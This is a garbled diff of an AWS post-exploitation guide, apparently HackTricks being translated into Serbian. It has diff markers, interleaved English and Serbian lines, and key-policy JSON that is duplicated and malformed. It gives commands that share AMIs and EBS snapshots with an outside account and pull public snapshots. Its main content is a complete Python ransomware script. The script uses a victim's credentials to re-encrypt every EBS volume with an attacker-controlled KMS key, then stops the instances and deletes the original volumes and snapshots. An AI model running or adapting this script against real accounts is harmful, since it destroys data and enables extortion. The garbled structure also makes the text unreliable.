8. Saobraćaj iz `kubectl` alata se sada prosleđuje kroz SSM tunel putem Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svog računara pokretanjem:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
Napomena da će SSL veze propasti osim ako ne postavite `--insecure-skip-tls-verify` flag (ili njegov ekvivalent u K8s audit alatima). S obzirom na to da je saobraćaj tunelovan kroz sigurni AWS SSM tunel, sigurni ste od bilo kakvih MitM napada.
|
||||
|
||||
Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks.
|
||||
|
||||
Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application.
|
||||
Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da se prebacite na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.
|
||||
|
||||
### Share AMI
|
||||
|
||||
```bash
|
||||
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
### Pretraživanje osetljivih informacija u javnim i privatnim AMI-ima
|
||||
|
||||
### Search sensitive information in public and private AMIs
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data.
|
||||
|
||||
### Share EBS Snapshot
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel je alat dizajniran za **pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs)**. Automatizuje proces pokretanja instanci iz ciljanih AMI-a, montiranja njihovih volumena i skeniranja za potencijalne tajne ili osetljive podatke.
|
||||
|
||||
### Podeli EBS Snapshot
|
||||
```bash
|
||||
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
|
||||
```
|
||||
|
||||
### EBS Ransomware PoC
|
||||
|
||||
A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it.
|
||||
|
||||
First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption'
|
||||
Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-ekspolataciji S3. KMS bi trebalo preimenovati u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.
|
||||
|
||||
Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS-u. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim', a pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Outside Encryption",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey",
|
||||
"kms:GenerateDataKeyWithoutPlainText",
|
||||
"kms:CreateGrant"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:CreateGrant",
|
||||
"kms:ListGrants",
|
||||
"kms:RevokeGrant"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Outside Encryption",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey",
|
||||
"kms:GenerateDataKeyWithoutPlainText",
|
||||
"kms:CreateGrant"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:CreateGrant",
|
||||
"kms:ListGrants",
|
||||
"kms:RevokeGrant"
|
||||
],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se omogućila upotreba za enkripciju EBS volumena:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account.
|
||||
Sada sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koja ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. Ovi EBS volumeni 'žrtvinske' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama AWS.
|
||||
|
||||
 
|
||||
|
||||
Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. 
|
||||
Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačke' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novokreiranih enkriptovanih EBS volumena. 
|
||||
|
||||
This results in only encrypted EBS volumes left available in the account.
|
||||
To rezultira time da su u računu ostali samo enkriptovani EBS volumeni.
|
||||
|
||||

|
||||
|
||||
Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now.
|
||||
Takođe je važno napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni neenkriptovani volumeni su sada nestali.
|
||||
|
||||

|
||||
|
||||
Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy.
|
||||
|
||||
Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite pravilo politike 'Vanjska enkripcija' iz politike ključa.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Id": "key-consolepolicy-3",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "Enable IAM User Permissions",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
|
||||
},
|
||||
"Action": "kms:*",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow access for Key Administrators",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Create*",
|
||||
"kms:Describe*",
|
||||
"kms:Enable*",
|
||||
"kms:List*",
|
||||
"kms:Put*",
|
||||
"kms:Update*",
|
||||
"kms:Revoke*",
|
||||
"kms:Disable*",
|
||||
"kms:Get*",
|
||||
"kms:Delete*",
|
||||
"kms:TagResource",
|
||||
"kms:UntagResource",
|
||||
"kms:ScheduleKeyDeletion",
|
||||
"kms:CancelKeyDeletion"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow use of the key",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": [
|
||||
"kms:Encrypt",
|
||||
"kms:Decrypt",
|
||||
"kms:ReEncrypt*",
|
||||
"kms:GenerateDataKey*",
|
||||
"kms:DescribeKey"
|
||||
],
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "Allow attachment of persistent resources",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
|
||||
},
|
||||
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
|
||||
"Resource": "*",
|
||||
"Condition": {
|
||||
"Bool": {
|
||||
"kms:GrantIsForAWSResource": "true"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume.
|
||||
Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovani' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen.
|
||||
|
||||
 
|
||||
|
||||
But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it.
|
||||
Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ, jer politika ključeva više to ne dozvoljava.
|
||||
|
||||
 
|
||||
|
||||
This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day.
|
||||
|
||||
Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovani' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovanom' nalogu. SAMO KORISTITE OVU SKRIPTU U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC za ransomware na kraju dana.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
from botocore.exceptions import ClientError
|
||||
|
||||
def enumerate_ec2_instances(ec2_client):
|
||||
instances = ec2_client.describe_instances()
|
||||
instance_volumes = {}
|
||||
for reservation in instances['Reservations']:
|
||||
for instance in reservation['Instances']:
|
||||
instance_id = instance['InstanceId']
|
||||
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
|
||||
instance_volumes[instance_id] = volumes
|
||||
return instance_volumes
|
||||
instances = ec2_client.describe_instances()
|
||||
instance_volumes = {}
|
||||
for reservation in instances['Reservations']:
|
||||
for instance in reservation['Instances']:
|
||||
instance_id = instance['InstanceId']
|
||||
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
|
||||
instance_volumes[instance_id] = volumes
|
||||
return instance_volumes
|
||||
|
||||
def snapshot_volumes(ec2_client, volumes):
|
||||
snapshot_ids = []
|
||||
for volume_id in volumes:
|
||||
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
|
||||
snapshot_ids.append(snapshot['SnapshotId'])
|
||||
return snapshot_ids
|
||||
snapshot_ids = []
|
||||
for volume_id in volumes:
|
||||
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
|
||||
snapshot_ids.append(snapshot['SnapshotId'])
|
||||
return snapshot_ids
|
||||
|
||||
def wait_for_snapshots(ec2_client, snapshot_ids):
|
||||
for snapshot_id in snapshot_ids:
|
||||
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
|
||||
for snapshot_id in snapshot_ids:
|
||||
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
|
||||
|
||||
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
|
||||
new_volume_ids = []
|
||||
for snapshot_id in snapshot_ids:
|
||||
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
|
||||
volume_id = snapshot_info['VolumeId']
|
||||
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
|
||||
availability_zone = volume_info['AvailabilityZone']
|
||||
new_volume_ids = []
|
||||
for snapshot_id in snapshot_ids:
|
||||
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
|
||||
volume_id = snapshot_info['VolumeId']
|
||||
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
|
||||
availability_zone = volume_info['AvailabilityZone']
|
||||
|
||||
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
|
||||
Encrypted=True, KmsKeyId=kms_key_arn)
|
||||
new_volume_ids.append(volume['VolumeId'])
|
||||
return new_volume_ids
|
||||
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
|
||||
Encrypted=True, KmsKeyId=kms_key_arn)
|
||||
new_volume_ids.append(volume['VolumeId'])
|
||||
return new_volume_ids
|
||||
|
||||
def stop_instances(ec2_client, instance_ids):
|
||||
for instance_id in instance_ids:
|
||||
try:
|
||||
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
|
||||
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
|
||||
for instance_id in instance_ids:
|
||||
try:
|
||||
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
|
||||
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
|
||||
|
||||
if instance_state == 'running':
|
||||
ec2_client.stop_instances(InstanceIds=[instance_id])
|
||||
print(f"Stopping instance: {instance_id}")
|
||||
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
|
||||
print(f"Instance {instance_id} stopped.")
|
||||
else:
|
||||
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
|
||||
if instance_state == 'running':
|
||||
ec2_client.stop_instances(InstanceIds=[instance_id])
|
||||
print(f"Stopping instance: {instance_id}")
|
||||
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
|
||||
print(f"Instance {instance_id} stopped.")
|
||||
else:
|
||||
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
|
||||
|
||||
except ClientError as e:
|
||||
print(f"Error stopping instance {instance_id}: {e}")
|
||||
except ClientError as e:
|
||||
print(f"Error stopping instance {instance_id}: {e}")
|
||||
|
||||
def detach_and_delete_volumes(ec2_client, volumes):
|
||||
for volume_id in volumes:
|
||||
try:
|
||||
ec2_client.detach_volume(VolumeId=volume_id)
|
||||
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
|
||||
ec2_client.delete_volume(VolumeId=volume_id)
|
||||
print(f"Deleted volume: {volume_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error detaching or deleting volume {volume_id}: {e}")
|
||||
for volume_id in volumes:
|
||||
try:
|
||||
ec2_client.detach_volume(VolumeId=volume_id)
|
||||
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
|
||||
ec2_client.delete_volume(VolumeId=volume_id)
|
||||
print(f"Deleted volume: {volume_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error detaching or deleting volume {volume_id}: {e}")
|
||||
|
||||
|
||||
def delete_snapshots(ec2_client, snapshot_ids):
|
||||
for snapshot_id in snapshot_ids:
|
||||
try:
|
||||
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
|
||||
print(f"Deleted snapshot: {snapshot_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error deleting snapshot {snapshot_id}: {e}")
|
||||
for snapshot_id in snapshot_ids:
|
||||
try:
|
||||
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
|
||||
print(f"Deleted snapshot: {snapshot_id}")
|
||||
except ClientError as e:
|
||||
print(f"Error deleting snapshot {snapshot_id}: {e}")
|
||||
|
||||
def replace_volumes(ec2_client, instance_volumes):
|
||||
instance_ids = list(instance_volumes.keys())
|
||||
stop_instances(ec2_client, instance_ids)
|
||||
instance_ids = list(instance_volumes.keys())
|
||||
stop_instances(ec2_client, instance_ids)
|
||||
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
detach_and_delete_volumes(ec2_client, all_volumes)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
detach_and_delete_volumes(ec2_client, all_volumes)
|
||||
|
||||
def ebs_lock(access_key, secret_key, region, kms_key_arn):
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
|
||||
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
|
||||
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
|
||||
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
|
||||
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
|
||||
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
|
||||
|
||||
def parse_arguments():
|
||||
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
|
||||
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
|
||||
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
|
||||
parser.add_argument('--region', required=True, help='AWS Region')
|
||||
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
|
||||
return parser.parse_args()
|
||||
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
|
||||
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
|
||||
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
|
||||
parser.add_argument('--region', required=True, help='AWS Region')
|
||||
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
|
||||
return parser.parse_args()
|
||||
|
||||
def main():
|
||||
args = parse_arguments()
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
|
||||
args = parse_arguments()
|
||||
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
|
||||
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
|
||||
replace_volumes(ec2_client, instance_volumes)
|
||||
delete_snapshots(ec2_client, snapshot_ids)
|
||||
instance_volumes = enumerate_ec2_instances(ec2_client)
|
||||
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
|
||||
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
|
||||
wait_for_snapshots(ec2_client, snapshot_ids)
|
||||
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
|
||||
replace_volumes(ec2_client, instance_volumes)
|
||||
delete_snapshots(ec2_client, snapshot_ids)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
main()
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,8 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Checking a snapshot locally
|
||||
|
||||
## Provera snimka lokalno
|
||||
```bash
|
||||
# Install dependencies
|
||||
pip install 'dsnap[cli]'
|
||||
@@ -32,10 +31,8 @@ cd dsnap
|
||||
make docker/build
|
||||
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> **Note** that `dsnap` will not allow you to download public snapshots. To circumvent this, you can make a copy of the snapshot in your personal account, and download that:
|
||||
|
||||
> **Napomena** da `dsnap` neće omogućiti preuzimanje javnih snimaka. Da biste to zaobišli, možete napraviti kopiju snimka u svom ličnom nalogu i preuzeti to:
|
||||
```bash
|
||||
# Copy the snapshot
|
||||
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
|
||||
@@ -49,59 +46,55 @@ dsnap --region us-east-2 get snap-027da41be451109da
|
||||
# Delete the snapshot after downloading
|
||||
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
|
||||
```
|
||||
Za više informacija o ovoj tehnici proverite originalno istraživanje na [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
|
||||
|
||||
For more info on this technique check the original research in [https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/](https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/)
|
||||
|
||||
You can do this with Pacu using the module [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
|
||||
|
||||
## Checking a snapshot in AWS
|
||||
Možete to uraditi sa Pacu koristeći modul [ebs\_\_download_snapshots](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#ebs__download_snapshots)
|
||||
|
||||
## Proveravanje snimka u AWS-u
|
||||
```bash
|
||||
